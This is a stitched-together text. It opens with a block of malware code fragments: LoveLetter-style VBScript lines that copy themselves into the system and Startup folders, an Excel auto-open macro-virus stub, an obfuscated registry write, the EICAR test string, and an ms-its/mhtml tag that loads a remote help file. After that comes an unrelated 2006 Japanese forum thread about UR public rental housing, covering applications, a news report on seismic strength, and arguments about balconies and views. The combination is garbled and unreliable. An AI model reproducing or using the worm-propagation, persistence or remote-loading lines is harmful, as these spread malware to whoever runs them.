fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub


295 :名無し不動さん:2006/08/22(火) 23:04:39 ID:JIpKaem6
都市再生機構、関連会社に優先発注 関連財団通じ
朝日新聞 2006年08月20日17時49分
http://www.asahi.com/national/update/0820/NGY200608190010.html

>「入札に偏りがある」と改善勧告を受けた。関連会社との随意契約は国会などでも問題とされ、改善が求められていた。



296 :名無し不動さん:2006/08/22(火) 23:18:33 ID:k5wXACEl
豊洲シエルタワー最高!
みんな、申し込み期日は9月3日までだ。
忘れるなよ!

297 :名無し不動さん:2006/08/22(火) 23:45:59 ID:5ECY2+hW
さっきNHKでマンション価格について放送していた。
不思議なのは、部屋の値付けについてばかりやていたが、大元の土地代、建築コスト
なんて全く触れない。
管理費や修繕積立金の重要性ばかり強調して、その前提のマンション価格の問題点に
ついては全く触れない。
管理費や修繕積立金の話は分かったから、NHK職員用の格安宿舎について、どうして
そんなに一等地に格安で住めるかを放送して貰いたいな。管理費とか修繕積立金なんて
払ってはいまい。


298 :名無し不動さん:2006/08/22(火) 23:50:49 ID:jsGAIAEm
>>847 財団は機構の関連団体だが、機構は「財団は民間企業に該当し、財団からJSへの発注は民間同士の契約。情報公開制度の文書開示の対象にならない」との理由から契約内容などは開示しなかった。

おせーて 都市再生機構さん 工事打ち合わせ最中から発注先が決まっているのはどう言う事。


299 :名無し不動さん:2006/08/22(火) 23:53:02 ID:jsGAIAEm
★都市再生機構のマンション、耐震強度は基準の58%
 2006年6月2日3時3分 読売新聞
 http://www.yomiuri.co.jp/national/news/20060602i101.htm?from=main1

 構造計算書を多数紛失していた独立行政法人・都市再生機構(旧都市基盤整備公団)が、
東京都八王子市で1989年に分譲したマンション1棟の耐震強度が、最弱部分で基準の
58%しかないことが、社団法人・日本建築構造技術者協会(JSCA)の調査で分かった。

 建築確認が免除されている公的機関が建設した建物の設計で強度不足が確認されたのは
初めて。また機構はこのマンションの計算書も紛失したとして、「再々計算書」を作成したが、
JSCAの分析では、同計算書には柱の強度の水増しなど十数件の不審点があった。

 事態を重く見た国土交通省は、機構の担当者から事情を聞くなど調査に乗り出す方針。
このマンションでは悪質な手抜き工事も判明しており、機構による住宅の信頼性は大きく
揺らぐことになりそうだ。

 同マンション群では、鉄筋不足など手抜き工事が次々と発覚し、46棟中20棟を建て直す
異常事態となっている。問題のマンションは建て替え対象とはなっていないが、手抜き工事も
加わって実際の強度は58%を下回る恐れもある。

 国などに準ずる機関とされる都市再生機構は、建築確認を免除されており、計画を自治体に
通知するだけで建設に着手できる。今回、強度不足が判明したことで、構造計算書を点検する
動きが他の機構マンションにも広がる可能性もある。


300 :名無し不動さん:2006/08/23(水) 01:26:11 ID:???
>>271
> >>262
> 風鈴は自治体の環境等に関するガイドライン等でとりあげられているくらい問題になっている。
>
> アパートマンション等の集合住宅はもちろん、戸建てでも問題になっている。
>
>
>
>
ウソつけ
普通の人間は意識もしないよw
そんなの気にするのはかなり神経質な奴だけだ

301 :名無し不動さん:2006/08/23(水) 03:50:03 ID:tes5SKNo
>>300
東京都環境局の生活騒音について
http://www2.kankyo.metro.tokyo.jp/kaizen/kisei/souon/seikastu/index.htm

302 :名無し不動さん:2006/08/23(水) 07:52:03 ID:???
URって、玄関のドア開けて生活してるDQN多いよな。
風通ししてるんだろうけど、風鈴どころかエロビデオの音まで外に筒抜け。
もうアホかと。

303 :名無し不動さん:2006/08/23(水) 11:18:47 ID:???
乾式壁

304 :名無し不動さん:2006/08/23(水) 14:13:16 ID:???
風鈴は本当に迷惑だな。



305 :名無し不動さん:2006/08/23(水) 14:15:34 ID:???
>>で、URって申し込んでから住めるまでどれくらいかかるのが一般的?

2ヶ月




306 :名無し不動さん:2006/08/23(水) 19:35:18 ID:???
築45年ぐらいのとこ考えてるんだけどどうでしょう。
住んでいる人感想を教えてください。


307 :名無し不動さん:2006/08/23(水) 23:40:28 ID:???
来春、転勤が決まってるから別のURに移り住もうと思っているんだけど、
年度末近くというか年が変わった頃から空室って激減しちゃうよね?
今から気に入った部屋があったら押さえたいと思うんだけど無理かな?
年明けに家族だけ先に引越しても良いとは思っているのだが・・
ネットで申込→キャン→申込→キャンっ2ヶ月くらい出来んかね?

308 :名無し不動さん:2006/08/24(木) 00:02:35 ID:???
>>306
それくらいの都内の物件に引っ越したばっかりだけど、リフォームしてあるから
すごい綺麗だよ。古いから、配管むき出しとか、洗濯が浴室排水とかはあるけど。
>>307
自分は、5ヶ月くらい決めるまでかかった。内覧は4部屋見たよ。

309 :名無し不動さん:2006/08/24(木) 00:36:57 ID:???
同じ団地の別の部屋に明き部屋があったとき、そこに申し込んでも問題ない?


310 :名無し不動さん:2006/08/24(木) 01:43:06 ID:???
>>306
築35年くらいのリニューアルしてない物件を見ましたが内装外装ともあまり綺麗とは言えないうえにエレベーターが無いせいか交代でゴミと階段の管理があるみたいでキャンセルしました。
あと地震がきたら倒れそうな建物でした。
今は同じく築35年くらいのリニューアル物件に住んでますが内装は綺麗です。
外装はまあまあ。
掃除等は全て掃除のおばさんがやってます。
>>309
大丈夫です。

311 :名無し不動さん:2006/08/24(木) 02:19:05 ID:lWF4mWKc
>>306
やめたほうが無難。
リニュ物件なら部屋自体は結構いいです。
でも物音や振動がすごい。
リラックスしている所に突然バーンと来て、お尻ビリビリ。
住人もずーずーしい人多いです。

312 :名無し不動さん:2006/08/24(木) 06:54:37 ID:???
共用部に私物を設置するモラルの低い居住者を退治できないものか。

313 :名無し不動さん:2006/08/24(木) 13:05:13 ID:Zly4CTcd
UR初めての者です。
すみません、質問させてください。
URの入居に審査ってありますか?
例えば信用情報機関に問い合わせがあるとか。
DQNと言われれば甘んじて受けますが、
過去に会社を倒産させた事がありまして。
自己破産はしてませんが、信用情報機関には載っております。

現在は、昔お世話になった会社で会社員として働かせてもらってますので、
基準月収額はありますし、子供含めて家族はいます。
なので、URが定めている申し込み資格はクリアしております。

なお、民間賃貸で、家賃の支払いをクレジット会社経由で行う契約が
必須の物件は断られてしまいました。

私の経営能力が無かったのが全て悪いのですが、
子供たちだけにはきちんとした住まいで、
きちんとした教育を受けさせたいのです。
何度か転校させてますので、もう転校しなくていいように、
地域に根を下ろして慎ましく生活していきたいと思っております。



314 :名無し不動さん:2006/08/24(木) 13:26:35 ID:???
>>313
関係なし。聞かれないことに対しては余計なことを言わない。以上

315 :名無し不動さん:2006/08/24(木) 14:01:33 ID:zaQcvBBM ?2BP(0)
申し込みから入居まで約二ヶ月との事ですが、月の途中で契約した場合(例:8月15日)は凡そ10月15日〜入居となるのでしょうか?
また、その場合は10月15日から何日以内まで等、期限付きなのでしょうか?


316 :名無し不動さん:2006/08/24(木) 15:06:07 ID:???
>>313
犯罪歴のある者や不法入国者でもないかぎり
審査はなし
1年分の家賃が前払いできれば
所得証明も源泉徴収票も預金証明もいらない
保証人も更新料も礼金もいらない

日本で一番簡単に入れるのがUR





317 :名無し不動さん:2006/08/24(木) 15:07:29 ID:???
契約から2ヶ月もかかんないよ
期限はそのときの状況で

318 :名無し不動さん:2006/08/24(木) 15:09:15 ID:???
実際2ヶ月もかからんて、早ければ1〜2週間。
物件の状態にもよる。契約してから鍵の交換とかするようだし。

期限は入居可能日から1ヶ月以内。

319 :名無し不動さん:2006/08/24(木) 17:39:43 ID:???
角部屋が特にひどい
たくさん家賃払ってるからって

320 :名無し不動さん:2006/08/24(木) 17:41:18 ID:???
>>319
ん? 詳しく。

321 :名無し不動さん:2006/08/24(木) 17:42:01 ID:???
共用廊下でビオトープしよう !


322 :名無し不動さん:2006/08/24(木) 17:43:10 ID:???
廊下でボーリング大会やってみたいw

323 :名無し不動さん:2006/08/24(木) 17:51:40 ID:???
ローラースケート

324 :名無し不動さん:2006/08/24(木) 17:57:39 ID:???
鉢植えは黙認のようだ

325 :名無し不動さん:2006/08/24(木) 18:01:20 ID:???
事務所にもってけばいい。
重ければ引きずって行けるところまで。

326 :名無し不動さん:2006/08/24(木) 18:03:43 ID:???
都心の方で安い物件ってトイレ共同とか壁薄いとか?

大抵の物件はRCって訳じゃないの?

327 :315:2006/08/24(木) 18:05:43 ID:??? ?2BP(0)
>>317
>>318
レス有難うございます。
人によって違うとは思いますが、入居まで3ヶ月位あると色々な手続きが楽に出来て良いんですけどね。
すぐに入居を迫られると、現住いの解除やら大変。

というか、入居まで時間がかかった方が良いと思っている自分って少数意見なのかな?

328 :名無し不動さん:2006/08/24(木) 18:19:32 ID:???
ネットに載ってる物件で申し込みしようとしても「申し込めないよ」ってなってるのが多いけど
これ空き室が無いって事ではないんだよね?

329 :名無し不動さん:2006/08/24(木) 18:41:04 ID:???
>>327
ネットで空き部屋を申し込むのであれば、部屋を選んで内覧、仮申込までで約2週間
仮申込のときに入居日を決める必要があるんだけど、まあ1ヶ月くらいしか余裕は無いんでないかな

一度URの営業センタに電話で確認してみることをオススメかな

330 :315:2006/08/24(木) 18:42:57 ID:??? ?2BP(0)
>>328
空きがあるにはあるが、契約が決まらないとか?


当方の場合、ネットで仮予約をして、それが成立した時点で、ネットから部屋が消えたよ。
契約までの期限を越えたりすれば、また物件は戻ると思う。

参考までに。

331 :313:2006/08/24(木) 18:43:04 ID:???
>>314,316

アドバイスありがとうございます。
近々申し込みしてきます。


332 :名無し不動さん:2006/08/24(木) 21:36:08 ID:???
>>331
手続きはこんな感じ

ネットで物件確保登録

仮予約(ネットで)

見たい奴は物件内見

仮申し込み(ネットで)
書類提出日を予約

営業所にて、書類提出、契約

現地管理事務所でカギ受け取り、入居

民間の不動産を借りるのに比べたら、比較にならないほど楽
退去時の敷金もほとんど戻ってくる
モレの場合20年住んだ部屋で(ファミリー向けの部屋)
部屋の中はボロボロ、あっちこっちに穴をあけてしまったのに
徴収されたのはたったの1万1000円だった

316でも書いたとおり
1年以上の一時払い契約にすれば、無条件で入居できるので
最近は、所得証明や貯蓄証明を出せる人でも
こっちを選ぶ人が多い
1年過ぎたら、自動的に通常の契約に移行し
月払いになるのでホント楽
一時払い契約を一度やると、通常の契約はバカらしくて
やる気にならなくなる

333 :名無し不動さん:2006/08/24(木) 22:03:59 ID:???
引越しのとき粗大ゴミは共用廊下に放置しておけばいいと。

334 :名無し不動さん:2006/08/24(木) 22:18:57 ID:???
牛乳受けなんかを置かせてるからだんだん大きな物が置かれていく。

335 :名無し不動さん:2006/08/24(木) 22:19:44 ID:???
住宅管理センターレベルの職員がバカなんじゃないのか?

336 :sage:2006/08/24(木) 23:20:38 ID:z09DeRwV
豊洲シエルタワーの話をしようよ

337 :名無し不動さん:2006/08/24(木) 23:38:24 ID:JXJSzYWS
★都市再生機構のマンション、耐震強度は基準の58%
 2006年6月2日3時3分 読売新聞
 http://www.yomiuri.co.jp/national/news/20060602i101.htm?from=main1

 構造計算書を多数紛失していた独立行政法人・都市再生機構(旧都市基盤整備公団)が、
東京都八王子市で1989年に分譲したマンション1棟の耐震強度が、最弱部分で基準の
58%しかないことが、社団法人・日本建築構造技術者協会(JSCA)の調査で分かった。

 建築確認が免除されている公的機関が建設した建物の設計で強度不足が確認されたのは
初めて。また機構はこのマンションの計算書も紛失したとして、「再々計算書」を作成したが、
JSCAの分析では、同計算書には柱の強度の水増しなど十数件の不審点があった。

 事態を重く見た国土交通省は、機構の担当者から事情を聞くなど調査に乗り出す方針。
このマンションでは悪質な手抜き工事も判明しており、機構による住宅の信頼性は大きく
揺らぐことになりそうだ。

 同マンション群では、鉄筋不足など手抜き工事が次々と発覚し、46棟中20棟を建て直す
異常事態となっている。問題のマンションは建て替え対象とはなっていないが、手抜き工事も
加わって実際の強度は58%を下回る恐れもある。

 国などに準ずる機関とされる都市再生機構は、建築確認を免除されており、計画を自治体に
通知するだけで建設に着手できる。今回、強度不足が判明したことで、構造計算書を点検する
動きが他の機構マンションにも広がる可能性もある。


338 :名無し不動さん:2006/08/24(木) 23:41:20 ID:ZjqMzQA+
家賃補助より、地価、家賃の適正化を推進しよう。
昔から日本は家賃が高く住み難いを言われてきたが、他方で固定資産税等の
不動産の保有コストは世界一安い。言い換えれば高い家賃を払っている人は
住み難いが、極めて安い固定資産税を払ってる人、特に、相続等で取得し、
保有コストだけで一生をおくる人及びその子孫は、世界でもっとも安く暮らして
いる。彼らは黙って隠してるだけだ。中には大変そうな振りをする奴らもいる。
都内でも比較的早くから住宅地となった世田谷、太田、杉並、及び下町と言われる
ようなところで持ち家で住んでる奴らはその辺のボロアパートなんかに住んでる
人より極めて安く住んでいる。



339 :名無し不動さん:2006/08/25(金) 00:17:27 ID:???
うるさくいうと逆切れするしな。
頭が弱いというほかない。

340 :名無し不動さん:2006/08/25(金) 00:24:58 ID:???
バルコニーの作りが格子になってる場合とボードがはってある場合では全然ちがうよね。
格子になってれば部屋から階下の景色が見れるからね。
せっかく高層マンションに住んでるのに、部屋から階下の景色が見えないと興ざめなんだけど、
やっぱ、古いマンションだと興ざめのバルコニーが多いのかなぁ。

341 :名無し不動さん:2006/08/25(金) 00:29:39 ID:29bTLxLD
家賃補助より、地価、家賃の適正化を推進しよう。
昔から日本は家賃が高く住み難いを言われてきたが、他方で固定資産税等の
不動産の保有コストは世界一安い。言い換えれば高い家賃を払っている人は
住み難いが、極めて安い固定資産税を払ってる人、特に、相続等で取得し、
保有コストだけで一生をおくる人及びその子孫は、世界でもっとも安く暮らして
いる。彼らは黙って隠してるだけだ。中には大変そうな振りをする奴らもいる。
都内でも比較的早くから住宅地となった世田谷、太田、杉並、及び下町と言われる
ようなところで持ち家で住んでる奴らはその辺のボロアパートなんかに住んでる
人より極めて安く住んでいる。


342 :名無し不動さん:2006/08/25(金) 04:34:38 ID:???
↑大変そうなふりをするやつイルイルw

343 :名無し不動さん:2006/08/25(金) 07:14:10 ID:???
>>329
普通に電話とかで申し込んだ方が速いの?
>>330
ワカンネ
普通にネットで募集してるのに申し込めないって意味不明だよ・・・
あと、70000〜みたいなのがあって、それを詳しく見ようとしても11000とかしかないってのもよくあるんだけど
1人暮らしに最適な値段と間取りのヤツは人気が高くてすぐ埋まっちゃうって事?
>>332
少し住んだ後気に入らないから別のUR逝くって可能?

344 :名無し不動さん:2006/08/25(金) 09:24:44 ID:???
>少し住んだ後気に入らないから別のUR逝くって可能?

空きがあれば可能。移り住んでる人いっぱいいるよ。
礼金がない、敷金ほとんど返ってくるからこそできることだよね


345 :名無し不動さん:2006/08/25(金) 17:59:41 ID:Up7VZ7pJ
1週間で退去してもいいの?

346 :名無し不動さん:2006/08/25(金) 18:35:33 ID:ZnQ+2dVr
3日でもいいよ。

347 :名無し不動さん:2006/08/25(金) 20:43:51 ID:RlnUW8ey
豊洲シエル見てきましたが、ららぽーとと駅の間が工事中でした。
もし、高層ができると眺望が台無しですね。

348 :名無し不動さん:2006/08/25(金) 21:30:53 ID:???

はいはい

349 :名無し不動さん:2006/08/26(土) 00:16:40 ID:???
>>347
清澄白河をみにいったときにあの程度の眺望でも喜んですごいすごいを連発してた
ひとが何人かいたから問題ないんじゃね?実際高層は近くに同じような建物があったら
高層の意味がほとんどないね

350 :名無し不動さん:2006/08/26(土) 01:36:44 ID:???
木って邪魔じゃないですか?眺望の邪魔。

351 :名無し不動さん:2006/08/26(土) 01:40:58 ID:???
日照も悪くなる

352 :名無し不動さん:2006/08/26(土) 01:49:39 ID:???
公団通りの直径1メートルくらいの木が邪魔だな。
あれを残したがために歩道がほとんどふさがれて通りづらい。

353 :名無し不動さん:2006/08/26(土) 01:56:27 ID:???
>>340
見せたがりの人ですか?
漏れは体がかくねるボードor壁の方がいい。

354 :名無し不動さん:2006/08/26(土) 02:04:43 ID:???
アウトフレームはもちつくな

355 :名無し不動さん:2006/08/26(土) 02:11:47 ID:???
ようど?もちつく間取り

http://www.ur-net.go.jp/akiya/tokyo/images/20_5340/20_5340_1ldk_ki.gif

356 :名無し不動さん:2006/08/26(土) 03:57:56 ID:???
それどこ??

357 :名無し不動さん:2006/08/26(土) 07:15:15 ID:mIP6buY0
>豊洲シエル見てきましたが、ららぽーとと駅の間が工事中でした。
>もし、高層ができると眺望が台無しですね。

何ができるのでしょう?

358 :名無し不動さん:2006/08/26(土) 08:20:13 ID:???
>>357
http://www.toyosu.org/deve.html
上記のページの「2・3丁目地区の基盤整備」の図と、下の方の
スケジュールを見る限りでは、問題の2街区は特に計画が決まって
いないようですが…。

359 :名無し不動さん:2006/08/26(土) 11:00:23 ID:jt7CrvVy
>>358
上から見ると扇形のその土地に何が建つのか、
俺も激しく気になって、現地案内のURの人に聞いてみた。
あそこに高層が建つと西側の眺望が台無しだからね。

結果はわからないとのこと。ただ、持ち主の石川島が
民間にあの土地を売却したことだけはわかっているとのこと。
現時点てせは建築計画がないのかな。
ただ、土地の広さから見て、40階ぐらいは建てられそうな
広さはあるな。

それと、確定的な情報ではないんだけと、豊洲の計画立体模型の
写真がどこかのHPに出ていて、それを偶然見つけたんだけど、
その模型では、あの土地にシエルと同じぐらいの高さの
建造物が設置されていた・・orz

360 :名無し不動さん:2006/08/26(土) 11:39:37 ID:UC4AIVVj
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


361 :名無し不動さん:2006/08/26(土) 14:58:38 ID:???
>>356
糀谷

362 :名無し不動さん:2006/08/26(土) 15:14:03 ID:???
バルコニーの独立性が高いな
これなら話し声は聞こえない、聞かれない

363 :名無し不動さん:2006/08/26(土) 15:17:27 ID:???
煙草の煙が来ないのもいいですね。
でも犬を飼う奴がいそう。

364 :名無し不動さん:2006/08/26(土) 15:38:25 ID:???
羽田空港徒歩圏なんだ。滅多に空かないわけだ。

365 :名無し不動さん:2006/08/26(土) 19:13:15 ID:mIP6buY0
>>359
確かIHIの超高層の予定があったよね。
でも、IHIは既に近隣に本社ビルがあるし、超高層にはならないのでは。
それに一部、うわさでららぽーと関連の建物になるという話がある。
それらなら本体より高くはないのでは。

366 :名無し不動さん:2006/08/26(土) 21:59:44 ID:???
賃貸退去時の   査定額   のスレ
http://money4.2ch.net/test/read.cgi/estate/1156596119/





367 :名無し不動さん:2006/08/26(土) 22:58:38 ID:???
便器の蓋を開ける時は勇気がいる。

368 :名無し不動さん:2006/08/26(土) 23:37:24 ID:???
>>353
それじやぁ、高層にいる意味がない。
どの部屋からも下の世界が見渡せて、広い視界を満喫できるのが高層マンションの醍醐味だ。
高層にいるのに目隠しの上から外の世界を覗くことしかできないようでは、塹壕にいるのと一緒。
防空壕にでも住めば?w

URの人にお願いしたい。
高層階の部屋のバルコニーはすべて格子等外への視界をさえぎらないものにして欲しい。
部屋の雰囲気が全然違う。
特に風が強くて窓を開けられない日だと、バルコニーにボードが貼ってある部屋だと、
高層階にいるのに、地下にいるのと変わりない。

高層階にいるのに、外の景色を楽しむよりことより、外から見られることのほうが気になる変人は、
カーテンでもすだれでも使えばいいの。




369 :名無し不動さん:2006/08/27(日) 01:13:18 ID:???
高すぎると、窓際まで行かないと眺望はないよ。空が見えるだけ。

370 :名無し不動さん:2006/08/27(日) 01:29:28 ID:???
まあ世の中には>>368みたいな変人もいるってこと。

371 :名無し不動さん:2006/08/27(日) 01:32:33 ID:???
格子は貧乏くさいな。
まぁURは黙っててもそういうのが多いけど。w

372 :名無し不動さん:2006/08/27(日) 01:41:25 ID:???
>>368
おまえ、安っぽい外観でいいならよかったじゃん。何もいうことないよ。

373 :名無し不動さん:2006/08/27(日) 01:48:28 ID:???
露出狂か

374 :名無し不動さん:2006/08/27(日) 01:52:00 ID:???
俺は腰から下が隠れた方がいい。
風呂から上がった後素っ裸でベランダに出られるもんな。




375 :名無し不動さん:2006/08/27(日) 01:58:36 ID:???
下の世界を見渡したがる奴ってどういう奴なんだろ。天下取った気にでもなりたいのか

368 :名無し不動さん :2006/08/26(土) 23:37:24 ID:???
>>353
それじやぁ、高層にいる意味がない。
どの部屋からも下の世界が見渡せて

376 :名無し不動さん:2006/08/27(日) 02:06:11 ID:???
外から見られるのが嫌なら、一戸建て買って地下室でも作るんだな。
金持ちなんだろ?

377 :名無し不動さん:2006/08/27(日) 02:12:20 ID:???
>369
>>高すぎると、窓際まで行かないと眺望はないよ。空が見えるだけ。

はぁ?? それはバルコニーのフェンスで下が見えないからだろ。
それともおまいの部屋は宇宙の旅でもしてるのか?w

>371
>格子は貧乏くさいな。
>まぁURは黙っててもそういうのが多いけど。w

買えない奴が来るんだからしょうがないだろw





378 :名無し不動さん:2006/08/27(日) 02:18:51 ID:???
>>372
>>おまえ、安っぽい外観でいいならよかったじゃん。何もいうことないよ。

意味不明w いくつか部屋を見た経験から言っただけなんだが。

>>373
>>露出狂か

地下街にでも住むんだな。段ボールハウスにふたでもつけてw

>>374
>俺は腰から下が隠れた方がいい。
>風呂から上がった後素っ裸でベランダに出られるもんな。

露出狂かw

>>375
>>下の世界を見渡したがる奴ってどういう奴なんだろ。天下取った気にでもなりたいのか

上から見下ろされるのが好きなら、最初から高層に来なくていいんだよw








379 :名無し不動さん:2006/08/27(日) 06:32:48 ID:hjZacM+y
俺は腰から下が隠れていない方がいい。
風呂から上がった後素っ裸でベランダに出て、外から見てもらえるもんな。

380 :名無し不動さん:2006/08/27(日) 08:24:00 ID:Bg+cXtgn
喧嘩やめなw

381 : ◆74brnQdQF6 :2006/08/27(日) 08:27:51 ID:???
やめません

382 :名無し不動さん:2006/08/27(日) 10:21:12 ID:???
>>379
それが希望なら庭付きの1階がいいんじゃない?



383 :名無し不動さん:2006/08/27(日) 10:25:49 ID:???
>>344
いいねぇ
引越以外のコストはかからないんだもんね?

ところで、大抵の物件は鉄筋?

384 :名無し不動さん:2006/08/27(日) 11:32:49 ID:???
木造のURは聞いた事がない

385 :名無し不動さん:2006/08/27(日) 13:29:07 ID:???
>369
>>高すぎると、窓際まで行かないと眺望はないよ。空が見えるだけ。

結局、これ↑だよ、ベランダのフェンスによって部屋の雰囲気がガラっと変わるから、勘違いしちゃう。
“高過ぎると眺望がない”なんてこの人思い込んでるけど、ベランダのフェンスで視界がさえぎられてるだけ。
ベランダのフェンスがシースルーになってたらこの可哀想な人もこんな感想はもたなかったはず。
つまり、
眺めがよいだろうと高層階へ入居→でも、いまいち開放感がない→でも自分が高層階にいるのはたしか
→高層階でも眺望はそれほどよくないものなのだ!、と新発見をしたつもりになる。

まぁ、こういうことだね。

URさん、お願いしまっせ。せっかく高層団地つくっても最後の仕上げで気を抜くと台無しになるよ。
眺望のない高層団地なんてなんの取り柄もないんだから。



386 :名無し不動さん:2006/08/27(日) 14:21:49 ID:???
なんか眺望で家選ぶ人ってDQNっぽいよね。

387 :名無し不動さん:2006/08/27(日) 14:30:46 ID:???
>>386
そういう人は、低層階に行けばいいんじゃない?
低層階のほうが空室率高いしね。



388 :名無し不動さん:2006/08/27(日) 15:58:58 ID:???
大崎の募集が後に控えてるから当たっても辞退ってのが多そうな予感

389 :名無し不動さん:2006/08/27(日) 16:08:05 ID:???
>>387
馬鹿発見!
高層階を希望する人間がみんな眺望で選んでると思ってるのかよ?w


390 :名無し不動さん:2006/08/27(日) 16:13:17 ID:???
>>385
可哀想なのはお前。
馬鹿なんだから大人しくしとけ。

391 :名無し不動さん:2006/08/27(日) 16:20:23 ID:???
>>385
ひとりでほざいてな。そんな安っぽい外観を好む奴はおまえひとり。w

392 :名無し不動さん:2006/08/27(日) 16:32:25 ID:k3myLudn
低層階のほうが空室率高いってのはうそ。
貞操のほうが人気ある場合も多い。
構想はすぐ飽きる。

393 :名無し不動さん:2006/08/27(日) 16:34:50 ID:???
自分の意見が絶対正しいと思い込んでる露出狂がいるな

394 :名無し不動さん:2006/08/27(日) 16:49:37 ID:???
>>340=>>368=>>376-378=>>385=>>387は低所得の職工か何かだろう。
せめて古い高層住宅の高層階に住んで下界を見おろして優越感を味わいたいと。

395 :名無し不動さん:2006/08/27(日) 17:56:26 ID:eTzLjCtz
賃貸はともかく、タワーの2,3階はお買い得だよ。
まぁ、日々、外見て暮らす訳でも無し。

396 :名無し不動さん:2006/08/27(日) 18:23:55 ID:???
低層階の北東と超高層階の南西じゃ、同じ間取りでも家賃一割違う。

397 :名無し不動さん:2006/08/27(日) 19:02:56 ID:???
この壁についてるポチポチはなんですか?
金属の丸いのが埋め込まれてるんですが
半分は表に飛び出てます
内覧行って写真とりました

http://dokuo-ha-hitori.dyndns.tv/~dokuopics/cgi-bin/src/1156672703374.jpg

398 :名無し不動さん:2006/08/27(日) 19:05:22 ID:???
眺望以外の目的で高層住宅に住む目的って何?



399 :名無し不動さん:2006/08/27(日) 19:13:58 ID:???
>>397
壁に穴を開けなくても、物を掛けられるようにという配慮ではないかな。

賃貸っぽくて嫌だと思うか、親切な配慮だと思うか、余計なお世話だと
思うかはその人次第だと思う。
まぁ、ちょっと数が多過ぎる気はするが…。

400 :名無し不動さん:2006/08/27(日) 19:15:52 ID:???
>>399
やっぱりそれしか考えられないよね・・・
写真のこっち側の壁にも同じようについてるんだよね

額縁ならいいけど、ポスターとかそういうの貼れないジャン
背の高い家具とかどうするんだろ
取り外せるかどうかまで確認しなかったけど


401 :名無し不動さん:2006/08/27(日) 19:18:38 ID:???
>>394
それは逆。
実際、新しい高層団地のほうが格子式のバルコニーが多い。

402 :名無し不動さん:2006/08/27(日) 19:18:51 ID:???
>>400
ウチの壁に付いてるヤツは押し込んで回すとロックして出てこなくなる

403 :名無し不動さん:2006/08/27(日) 19:37:48 ID:???
>>400
ネジ式のヤツもあります。ウチの部屋がそうなってる。
手で回すと一番上の部分が外れるようになっています。

ただ、上の部分を外しても基の部分が壁にネジ止めされているので
そのネジを外す必要があると思います。
(外した後のネジと金具を確実に保管しておかないと、退去の時に
つまらない出費になりそうですね)

404 :名無し不動さん:2006/08/27(日) 19:39:43 ID:???
家具転倒防止のため。

405 :名無し不動さん:2006/08/27(日) 19:41:25 ID:???
>>401
立地条件にもよるんじゃないかと思う。
オレの見た範囲では、恵比寿とか南千住とかは、格子式のバルコニーの階と
板貼りで目隠ししてるバルコニーの階が交互に入ってる。
周りに高層住宅があるからなのかもしれない。
でも、URの現地案内の人もけっこう気にしてた。
見せてもらった部屋が板貼りのバルコニーだったんだけど、
格子式の階もありますよって、聞いてもいないのに付け加えてたし。
たしかに、ベランダの形式で部屋の雰囲気かなり違うからね。


406 :名無し不動さん:2006/08/27(日) 19:41:43 ID:WSbZ2ceh
豊洲 \(^o^)/オワタ
大崎に期待(^^

条件が同じなら豊洲より大崎物件のほうが安いよねぇ

407 :名無し不動さん:2006/08/27(日) 20:00:51 ID:???
>>405
船堀トキタワーは全階目隠し形式のバルコニーだったかな。
まぁ、もっとも古いタイプのタワーだけどね。


408 :名無し不動さん:2006/08/27(日) 20:56:58 ID:???
前住んでた河田町はガラスだったよ。
日当たり悪すぎの部屋だったからサービスしてくれてたみたい。

409 :名無し不動さん:2006/08/27(日) 21:11:09 ID:???
>>405
船堀トキタワー懐かしいな。何年か前まで最上階の西側に
住んでたよ。あそこは格子の所とと穴あきアルミ板の所が
混在していたね。
すぐ前に広がる荒川を挟んで遠くから都心を一望する
眺望で、都心内のタワーとはまた一味違った
雄大な眺望が印象的だった。
